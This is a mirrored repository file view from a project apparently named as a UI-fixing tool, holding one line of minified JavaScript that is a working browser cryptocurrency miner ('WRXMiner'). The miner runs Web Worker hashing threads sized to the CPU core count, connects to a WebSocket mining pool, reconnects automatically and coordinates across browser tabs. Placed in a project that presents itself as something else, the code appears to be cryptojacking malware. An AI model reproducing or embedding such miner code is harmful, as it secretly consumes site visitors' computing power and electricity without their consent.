mirror of
https://github.com/JorySeverijnse/ui-fixer-supreme.git
synced 2025-12-06 13:36:57 +00:00
1 line
8.0 KiB
JavaScript
1 line
8.0 KiB
JavaScript
(()=>{"use strict";var t={m:{},d:(e,s)=>{for(var a in s)t.o(s,a)&&!t.o(e,a)&&Object.defineProperty(e,a,{enumerable:!0,get:s[a]})},u:t=>t+".js"};t.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(t){if("object"==typeof window)return window}}(),t.o=(t,e)=>Object.prototype.hasOwnProperty.call(t,e),(()=>{var e;t.g.importScripts&&(e=t.g.location+"");var s=t.g.document;if(!e&&s&&(s.currentScript&&(e=s.currentScript.src),!e)){var a=s.getElementsByTagName("script");if(a.length)for(var r=a.length-1;r>-1&&(!e||!/^http(s?):/.test(e));)e=a[r--].src}if(!e)throw new Error("Automatic publicPath is not supported in this browser");e=e.replace(/#.*$/,"").replace(/\?.*$/,"").replace(/\/[^\/]+$/,"/"),t.p=e})(),t.b=document.baseURI||self.location.href;var e={};t.d(e,{default:()=>r});class s{static IF_EXCLUSIVE_TAB="ifExclusiveTab";static FORCE_EXCLUSIVE_TAB="forceExclusiveTab";static FORCE_MULTI_TAB="forceMultiTab";static CONFIG={WEBSOCKET_SHARDS:[["ws://localhost:80"]]}}class a{constructor(){this.worker=new Worker(new URL(t.p+t.u(703),t.b)),this.worker.onmessage=this.onReady.bind(this),this.currentJob=null,this.jobCallback=()=>{},this._isReady=!1,this.hashesPerSecond=0,this.hashesTotal=0,this.running=!1,this.lastMessageTimestamp=Date.now()}onReady(t){if("ready"!==t.data||this._isReady)throw'Expecting first message to be "ready", got '+t;this._isReady=!0,this.worker.onmessage=this.onReceiveMsg.bind(this),this.currentJob&&(this.running=!0,this.worker.postMessage(this.currentJob))}onReceiveMsg(t){t.data.result&&this.jobCallback(t.data),this.hashesPerSecond=.5*this.hashesPerSecond+.5*t.data.hashesPerSecond,this.hashesTotal+=t.data.hashes,this.lastMessageTimestamp=Date.now(),this.running&&this.worker.postMessage(this.currentJob)}setJob(t,e){this.currentJob=t,this.jobCallback=e,this._isReady&&!this.running&&(this.running=!0,this.worker.postMessage(this.currentJob))}stop(){this.worker&&(this.worker.terminate(),this.worker=null),this.running=!1}}const r=class{constructor(t,e){if(e=e||{},this._user=t,this._threads=[],this._hashes=0,this._currentJob=null,this._autoReconnect=!0,this._reconnectRetry=3,this._totalHashesFromDeadThreads=0,this._throttle=Math.max(0,Math.min(.99,e.throttle||0)),this._autoThreads={enabled:!!e.autoThreads,interval:null,adjustAt:null,adjustEvery:1e4,stats:{}},this._tab={ident:16777215*Math.random()|0,mode:s.IF_EXCLUSIVE_TAB,grace:0,lastPingReceived:0,interval:null},window.BroadcastChannel)try{this._bc=new BroadcastChannel("wrxminer"),this._bc.onmessage=function(t){"ping"===t.data&&(this._tab.lastPingReceived=Date.now())}.bind(this)}catch(t){}this._eventListeners={open:[],authed:[],close:[],error:[],job:[],found:[],accepted:[]};const a=navigator.hardwareConcurrency||4;this._targetNumThreads=e.threads||a,this._onTargetMetBound=this._onTargetMet.bind(this)}start(t){this._tab.mode=t||s.IF_EXCLUSIVE_TAB,this._tab.interval&&(clearInterval(this._tab.interval),this._tab.interval=null),this._startNow()}stop(t){for(let t=0;t<this._threads.length;++t)this._totalHashesFromDeadThreads+=this._threads[t].hashesTotal,this._threads[t].stop();this._threads=[],this._autoReconnect=!1,this._currentJob=null,this._socket&&this._socket.close(),this._autoThreads.interval&&(clearInterval(this._autoThreads.interval),this._autoThreads.interval=null),this._tab.interval&&"dontKillTabUpdate"!==t&&(clearInterval(this._tab.interval),this._tab.interval=null)}getHashesPerSecond(){let t=0;for(let e=0;e<this._threads.length;++e)t+=this._threads[e].hashesPerSecond;return t}getTotalHashes(){Date.now();let t=this._totalHashesFromDeadThreads;for(let e=0;e<this._threads.length;++e)t+=this._threads[e].hashesTotal;return 0|t}getAcceptedHashes(){return this._hashes}on(t,e){this._eventListeners[t]&&this._eventListeners[t].push(e)}getAutoThreadsEnabled(){return this._autoThreads.enabled}setAutoThreadsEnabled(t){this._autoThreads.enabled=!!t,!t&&this._autoThreads.interval?(clearInterval(this._autoThreads.interval),this._autoThreads.interval=null):t&&!this._autoThreads.interval&&(this._autoThreads.adjustAt=Date.now()+this._autoThreads.adjustEvery,this._autoThreads.interval=setInterval(this._adjustThreads.bind(this),1e3))}getThrottle(){return this._throttle}setThrottle(t){this._throttle=Math.max(0,Math.min(.99,t)),this._currentJob&&this._setJob(this._currentJob)}getNumThreads(){return this._threads.length}setNumThreads(t){if(t=Math.max(1,0|t),(this._targetNumThreads=t)>this._threads.length)for(;t>this._threads.length;){let t=new a;this._currentJob&&t.setJob(this._currentJob,this._onTargetMetBound),this._threads.push(t)}else if(t<this._threads.length)for(;t<this._threads.length;){let t=this._threads.pop();this._totalHashesFromDeadThreads+=t.hashesTotal,t.stop()}}isRunning(){return!!this._socket&&this._socket.readyState!=WebSocket.CLOSED&&this._socket.readyState!=WebSocket.CLOSING}_startNow(){this._tab.mode===s.FORCE_MULTI_TAB||this._tab.interval||(this._tab.interval=setInterval(this._updateTabs.bind(this),1e3)),this._tab.mode===s.IF_EXCLUSIVE_TAB&&this._otherTabRunning()||(this._tab.mode===s.FORCE_EXCLUSIVE_TAB&&(this._tab.grace=Date.now()+3e3),this.setNumThreads(this._targetNumThreads),this._autoReconnect=!0,this._connect())}_otherTabRunning(){if(this._tab.lastPingReceived>Date.now()-1500)return!0;try{let t=localStorage.getItem("wrxminer");if(t){const e=JSON.parse(t);if(e.ident!==this._tab.ident&&Date.now()-e.time<1500)return!0}}catch(t){}return!1}_updateTabs(){const t=this._otherTabRunning();if(t&&this.isRunning()&&Date.now()>this._tab.grace?this.stop("dontKillTabUpdate"):t||this.isRunning()||this._startNow(),this.isRunning()){this._bc&&this._bc.postMessage("ping");try{localStorage.setItem("wrxminer",JSON.stringify({ident:this._tab.ident,time:Date.now()}))}catch(t){}}}_adjustThreads(){const t=this.getHashesPerSecond(),e=this.getNumThreads();let s=this._autoThreads.stats;if(s[e]=s[e]?.5*s[e]+.5*t:t,Date.now()>this._autoThreads.adjustAt){this._autoThreads.adjustAt=Date.now()+this._autoThreads.adjustEvery;const t=(s[e]||0)-1,a=s[e+1]||0,r=s[e-1]||0;if(r<t&&(0===a||t<a)&&e<16)return this.setNumThreads(e+1);if(a<t&&(!r||t<r)&&1<e)return this.setNumThreads(e-1)}}_emit(t,e){const s=this._eventListeners[t];if(s&&s.length)for(let t=0;t<s.length;++t)s[t](e)}_hashString(t){let e=5381,s=t.length;for(;s;)e=33*e^t.charCodeAt(--s);return e>>>0}_connect(){if(!this._socket){const t=s.CONFIG.WEBSOCKET_SHARDS,e=t[Math.floor(Math.random()*t.length)],a=e[Math.random()*e.length|0];this._socket=new WebSocket(a),this._socket.onmessage=this._onMessage.bind(this),this._socket.onerror=this._onError.bind(this),this._socket.onclose=this._onClose.bind(this),this._socket.onopen=this._onOpen.bind(this)}}_onOpen(){this._emit("open")}_onClose(t){t.code>=1003&&t.code<=1009&&(this._reconnectRetry=60);for(let t=0;t<this._threads.length;++t)this._threads[t].stop();this._threads=[],this._socket=null,this._emit("close"),this._autoReconnect&&setTimeout(this._startNow.bind(this),1e3*this._reconnectRetry)}_onMessage(t){const e=JSON.parse(t.data);switch(e.type){case"job":this._setJob(e.params),this._emit("job",e.params),this._autoThreads.enabled&&!this._autoThreads.interval&&(this._autoThreads.adjustAt=Date.now()+this._autoThreads.adjustEvery,this._autoThreads.interval=setInterval(this._adjustThreads.bind(this),1e3));break;case"hash_accepted":this._hashes=e.params.hashes,this._emit("accepted",e.params);break;case"authed":this._hashes=e.params.hashes||0,this._emit("authed",e.params),this._reconnectRetry=3;break;case"error":console&&console.error&&console.error("WRXMiner Error:",e.params.error),this._emit("error",e.params);break;case"banned":this._emit("error",{banned:!0}),this._reconnectRetry=600}}_onError(t){this._emit("error",{error:"connection_error"}),this._onClose(t)}_onTargetMet(t){this._emit("found",t),t.job_id===this._currentJob.job_id&&this._send("submit",{job_id:t.job_id,nonce:t.nonce,result:t.result})}_send(t,e){if(this._socket){const s={type:t,params:e||{}};this._socket.send(JSON.stringify(s))}}_setJob(t){this._currentJob=t,this._currentJob.throttle=this._throttle;for(let e=0;e<this._threads.length;++e)this._threads[e].setJob(t,this._onTargetMetBound)}};window.Miner=e.default})(); |